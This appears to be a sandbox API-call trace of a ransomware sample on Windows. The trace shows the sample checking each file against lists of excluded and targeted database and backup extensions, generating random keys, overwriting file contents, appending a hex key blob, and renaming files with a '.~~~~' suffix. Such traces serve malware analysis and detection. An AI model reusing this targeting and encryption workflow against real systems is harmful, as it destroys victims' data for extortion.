	[0141.619] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1377, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x1377, lpOverlapped=0x0) returned 1
	[0141.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0141.619] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.619] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.620] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.620] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.620] CloseHandle (hObject=0xc4) returned 1
	[0141.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae968
	[0141.620] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46f.gif.~~~~")) returned 1
	[0141.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae968 | out: hHeap=0x300000) returned 1
	[0141.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0141.623] GetLastError () returned 0x0
	[0141.623] RtlWakeConditionVariable () returned 0x0
	[0141.623] GetCurrentThreadId () returned 0x3a4
	[0141.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".scr") returned 0x0
	[0141.623] lstrlenW (lpString=".cmd") returned 4
	[0141.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".cmd") returned 0x0
	[0141.623] lstrlenW (lpString=".dll") returned 4
	[0141.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".dll") returned 0x0
	[0141.623] lstrlenW (lpString=".bat") returned 4
	[0141.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".bat") returned 0x0
	[0141.623] lstrlenW (lpString=".cpl") returned 4
	[0141.623] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".cpl") returned 0x0
	[0141.624] lstrlenW (lpString=".sys") returned 4
	[0141.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".sys") returned 0x0
	[0141.624] lstrlenW (lpString=".msc") returned 4
	[0141.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".msc") returned 0x0
	[0141.624] lstrlenW (lpString=".com") returned 4
	[0141.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".com") returned 0x0
	[0141.624] lstrlenW (lpString=".lnk") returned 4
	[0141.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".lnk") returned 0x0
	[0141.624] lstrlenW (lpString=".msp") returned 4
	[0141.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".msp") returned 0x0
	[0141.624] lstrlenW (lpString=".pif") returned 4
	[0141.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".pif") returned 0x0
	[0141.624] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.624] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0141.857] lstrlenW (lpString=".sqb") returned 4
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".sqb") returned 0x0
	[0141.857] lstrlenW (lpString=".ost") returned 4
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".ost") returned 0x0
	[0141.857] lstrlenW (lpString=".txt") returned 4
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".txt") returned 0x0
	[0141.857] lstrlenW (lpString=".mdt") returned 4
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".mdt") returned 0x0
	[0141.857] lstrlenW (lpString=".BDB") returned 4
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".BDB") returned 0x0
	[0141.857] lstrlenW (lpString=".eql") returned 4
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".eql") returned 0x0
	[0141.857] lstrlenW (lpString=".DBF") returned 4
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".DBF") returned 0x0
	[0141.857] lstrlenW (lpString=".EQL") returned 4
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".EQL") returned 0x0
	[0141.857] lstrlenW (lpString=".FDB") returned 4
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".FDB") returned 0x0
	[0141.857] lstrlenW (lpString=".EDB") returned 4
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".EDB") returned 0x0
	[0141.857] lstrlenW (lpString=".DACPAC") returned 7
	[0141.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.857] lstrlenW (lpString=".VHD") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".VHD") returned 0x0
	[0141.858] lstrlenW (lpString=".DBV") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".DBV") returned 0x0
	[0141.858] lstrlenW (lpString=".dacpac") returned 7
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.858] lstrlenW (lpString=".sdf") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".sdf") returned 0x0
	[0141.858] lstrlenW (lpString=".accdb") returned 6
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".accdb") returned 0x0
	[0141.858] lstrlenW (lpString=".DBX") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".DBX") returned 0x0
	[0141.858] lstrlenW (lpString=".MDT") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".MDT") returned 0x0
	[0141.858] lstrlenW (lpString=".SQB") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".SQB") returned 0x0
	[0141.858] lstrlenW (lpString=".vhd") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".vhd") returned 0x0
	[0141.858] lstrlenW (lpString=".bac") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".bac") returned 0x0
	[0141.858] lstrlenW (lpString=".mdf") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".mdf") returned 0x0
	[0141.858] lstrlenW (lpString=".BAK") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".BAK") returned 0x0
	[0141.858] lstrlenW (lpString=".BAC") returned 4
	[0141.858] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".BAC") returned 0x0
	[0141.858] lstrlenW (lpString=".dbs") returned 4
	[0141.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".dbs") returned 0x0
	[0141.859] lstrlenW (lpString=".vhdx") returned 5
	[0141.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.859] lstrlenW (lpString=".NDF") returned 4
	[0141.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".NDF") returned 0x0
	[0141.859] lstrlenW (lpString=".dat") returned 4
	[0141.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".dat") returned 0x0
	[0141.859] lstrlenW (lpString=".DBS") returned 4
	[0141.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".DBS") returned 0x0
	[0141.859] lstrlenW (lpString=".CKP") returned 4
	[0141.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".CKP") returned 0x0
	[0141.859] lstrlenW (lpString=".edb") returned 4
	[0141.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".edb") returned 0x0
	[0141.860] lstrlenW (lpString=".PST") returned 4
	[0141.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".PST") returned 0x0
	[0141.860] lstrlenW (lpString=".dbf") returned 4
	[0141.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".dbf") returned 0x0
	[0141.860] lstrlenW (lpString=".SQL") returned 4
	[0141.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".SQL") returned 0x0
	[0141.860] lstrlenW (lpString=".pst") returned 4
	[0141.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".pst") returned 0x0
	[0141.860] lstrlenW (lpString=".dbv") returned 4
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".dbv") returned 0x0
	[0141.861] lstrlenW (lpString=".SDF") returned 4
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".SDF") returned 0x0
	[0141.861] lstrlenW (lpString=".dtxs") returned 5
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".dtxs") returned 0x0
	[0141.861] lstrlenW (lpString=".db3") returned 4
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".db3") returned 0x0
	[0141.861] lstrlenW (lpString=".OST") returned 4
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".OST") returned 0x0
	[0141.861] lstrlenW (lpString=".dbx") returned 4
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".dbx") returned 0x0
	[0141.861] lstrlenW (lpString=".DB3") returned 4
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".DB3") returned 0x0
	[0141.861] lstrlenW (lpString=".DAT") returned 4
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".DAT") returned 0x0
	[0141.861] lstrlenW (lpString=".VHDX") returned 5
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".VHDX") returned 0x0
	[0141.861] lstrlenW (lpString=".ndf") returned 4
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".ndf") returned 0x0
	[0141.861] lstrlenW (lpString=".DB") returned 3
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".DB") returned 0x0
	[0141.861] lstrlenW (lpString=".sql") returned 4
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".sql") returned 0x0
	[0141.861] lstrlenW (lpString=".MYD") returned 4
	[0141.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".MYD") returned 0x0
	[0141.862] lstrlenW (lpString=".DBT") returned 4
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".DBT") returned 0x0
	[0141.862] lstrlenW (lpString=".ACCDB") returned 6
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.862] lstrlenW (lpString=".fdb") returned 4
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".fdb") returned 0x0
	[0141.862] lstrlenW (lpString=".bak") returned 4
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".bak") returned 0x0
	[0141.862] lstrlenW (lpString=".myd") returned 4
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".myd") returned 0x0
	[0141.862] lstrlenW (lpString=".DTXS") returned 5
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".DTXS") returned 0x0
	[0141.862] lstrlenW (lpString=".ckp") returned 4
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".ckp") returned 0x0
	[0141.862] lstrlenW (lpString=".dbt") returned 4
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".dbt") returned 0x0
	[0141.862] lstrlenW (lpString=".db") returned 3
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".db") returned 0x0
	[0141.862] lstrlenW (lpString=".TXT") returned 4
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".TXT") returned 0x0
	[0141.862] lstrlenW (lpString=".MDF") returned 4
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".MDF") returned 0x0
	[0141.862] lstrlenW (lpString=".bdb") returned 4
	[0141.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".bdb") returned 0x0
	[0141.862] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0141.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.863] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0141.864] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.864] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0141.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0141.864] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26185450814) returned 1
	[0141.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbdf6f330, dwHighDateTime=0x1d60e1e)) 
	[0141.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0141.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0141.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0141.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3840
	[0141.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3840 | out: hHeap=0x300000) returned 1
	[0141.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aecb0
	[0141.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aecb0 | out: hHeap=0x300000) returned 1
	[0141.866] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0141.866] GetLastError () returned 0x0
	[0141.866] GetLastError () returned 0x0
	[0141.866] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0141.866] GetLastError () returned 0x0
	[0141.867] GetLastError () returned 0x0
	[0141.867] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x80d9, lpOverlapped=0x0) returned 1
	[0141.870] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff7f27, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.870] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x80d9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x80d9, lpOverlapped=0x0) returned 1
	[0141.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.870] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.870] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.870] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.870] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.870] CloseHandle (hObject=0xc4) returned 1
	[0141.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3af1f0
	[0141.894] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47b.gif.~~~~")) returned 1
	[0141.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3af1f0 | out: hHeap=0x300000) returned 1
	[0141.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0141.908] GetLastError () returned 0x0
	[0141.909] RtlWakeConditionVariable () returned 0x365f70
	[0141.909] GetCurrentThreadId () returned 0x3a4
	[0141.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".scr") returned 0x0
	[0141.909] lstrlenW (lpString=".cmd") returned 4
	[0141.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".cmd") returned 0x0
	[0141.909] lstrlenW (lpString=".dll") returned 4
	[0141.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".dll") returned 0x0
	[0141.909] lstrlenW (lpString=".bat") returned 4
	[0141.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".bat") returned 0x0
	[0141.909] lstrlenW (lpString=".cpl") returned 4
	[0141.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".cpl") returned 0x0
	[0141.909] lstrlenW (lpString=".sys") returned 4
	[0141.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".sys") returned 0x0
	[0141.909] lstrlenW (lpString=".msc") returned 4
	[0141.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".msc") returned 0x0
	[0141.909] lstrlenW (lpString=".com") returned 4
	[0141.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF", lpSrch=".com") returned 0x0
	[0141.909] lstrlenW (lpString=".lnk") returned 4
